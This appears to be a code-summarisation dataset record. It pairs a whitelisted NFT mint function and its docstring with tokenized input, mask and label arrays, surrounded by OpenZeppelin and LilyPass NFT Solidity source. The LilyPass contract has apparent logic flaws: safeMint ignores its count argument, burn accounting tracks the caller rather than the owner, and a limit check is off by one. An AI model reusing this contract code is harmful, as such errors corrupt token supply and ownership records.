) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
} | Mint a Trap (Whitelisted) @notice Mint a Token if you're on the whitelist. Must be after sale has started. @param merkleProof merkle proof for your address in the whitelist | function mintWhitelisted(bytes32[] memory merkleProof) public{
require(saleStarted,"saleStarted");
require(tokensClaimed < TOKEN_MAX - TOKENS_GIVEAWAY,"tokensClaimed");
require(!hasMinted[msg.sender],"minted");
require(GBAWhitelist(whitelist).isWhitelisted(merkleProof,msg.sender),"whitelist");
tokensClaimed++;
hasMinted[msg.sender] = true;
_mint(msg.sender,++tokensMinted);
}
| 13,919,468 | [
1,
49,
474,
279,
399,
1266,
261,
18927,
329,
13,
225,
490,
474,
279,
3155,
309,
1846,
4565,
603,
326,
10734,
18,
6753,
506,
1839,
272,
5349,
711,
5746,
18,
225,
30235,
20439,
30235,
14601,
364,
3433,
1758,
316,
326,
10734,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
312,
474,
18927,
329,
12,
3890,
1578,
8526,
3778,
30235,
20439,
13,
1071,
95,
203,
3639,
2583,
12,
87,
5349,
9217,
10837,
87,
5349,
9217,
8863,
203,
3639,
2583,
12,
7860,
9762,
329,
411,
14275,
67,
6694,
300,
14275,
55,
67,
43,
5354,
12999,
5255,
10837,
7860,
9762,
329,
8863,
203,
3639,
2583,
12,
5,
5332,
49,
474,
329,
63,
3576,
18,
15330,
6487,
6,
81,
474,
329,
8863,
203,
3639,
2583,
12,
5887,
37,
18927,
12,
20409,
2934,
291,
18927,
329,
12,
6592,
15609,
20439,
16,
3576,
18,
15330,
3631,
6,
20409,
8863,
203,
203,
3639,
2430,
9762,
329,
9904,
31,
203,
3639,
711,
49,
474,
329,
63,
3576,
18,
15330,
65,
273,
638,
31,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
9904,
7860,
49,
474,
329,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
/*
_ _ ___
( ) _ (_ ) ( _`\
| | (_) | | _ _ | |_) ) _ _ ___ ___
| | _ | | | | ( ) ( ) | ,__/'/'_` )/',__)/',__)
| |_( )| | | | | (_) | | | ( (_| |\__, \\__, \
(____/'(_)(___)`\__, | (_) `\__,_)(____/(____/
( )_| |
`\___/'
*/
contract LilyPass is
ERC721,
ERC721URIStorage,
ReentrancyGuard,
Pausable
{
uint256 maxPerTx = 4;
uint256 public availableSupply = 0;
uint256 public publicSupply = 190;
uint256 public maxSupply = 201;
uint256 private _price = 40_000_000_000_000_000; //0.04 ETH
address private _owner;
address private _payee;
string private _uri;
uint _tokenId = 1;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
// map address to num tokens owned
mapping(address => uint256) _tokenCount;
// map tokenId to address of owner
mapping(uint256 => address) _tokensOwned;
constructor(
address payee,
string memory uri
) ERC721("LilyPass", "LP") {
_owner = msg.sender;
_payee = payee;
_uri = uri;
pause();
}
function setPayee(address addr) public onlyOwner {
_payee = addr;
}
function _baseURI() internal view override returns (string memory) {
return _uri;
}
// @dev surface cost to mint
function price() public view returns (uint256) {
return _price;
}
// @dev add amount to current available supply
function setAvailable(uint256 amount) public onlyOwner whenPaused {
require((availableSupply + amount) < maxSupply, "exceeds public supply");
availableSupply = availableSupply + amount;
}
// @dev change cost to mint protects against price movement
function setPrice(uint256 amount) public onlyOwner {
_price = amount;
}
// @dev returns number of tokens owned by address
function tokenCount(address addr) public view returns (uint256) {
return _tokenCount[addr];
}
// @dev website mint function
function mint(uint256 num) public payable whenNotPaused nonReentrant {
require(
totalSupply() + num <= availableSupply,
"no availability"
);
require(
totalSupply() + num <= publicSupply,
"resource exhausted"
);
require(num <= maxPerTx, "request limit exceeded");
require(price() * num <= msg.value, "not enough funds");
require(_tokenCount[msg.sender] < 5, "token max reached");
require(_tokenCount[msg.sender] + num < 5, "exceeds token limit");
for (uint256 i = 0; i < num; i++) {
_tokenCount[msg.sender] += 1;
_tokensOwned[_tokenId] = msg.sender;
_mint(msg.sender, _tokenId);
_tokenId++;
}
}
// @dev owner can safely mint
function safeMint(address to, uint256 num) public onlyOwner nonReentrant {
require(
totalSupply() + num <= availableSupply,
"no availability"
);
require(
totalSupply() + num <= maxSupply,
"resource exhausted"
);
_safeMint(to, _tokenId);
_tokenId++;
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
// @dev withdraw funds
function withdraw() public onlyOwner {
(bool success, ) = _payee.call{value: address(this).balance}("");
require(success, "tx failed");
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "caller is not owner");
_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _allTokens.length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
}
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
require(1 <= _tokenCount[msg.sender], "nothing to burn");
_tokenCount[msg.sender] = _tokenCount[msg.sender] - 1;
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return string(abi.encodePacked(super.tokenURI(tokenId), ".json"));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
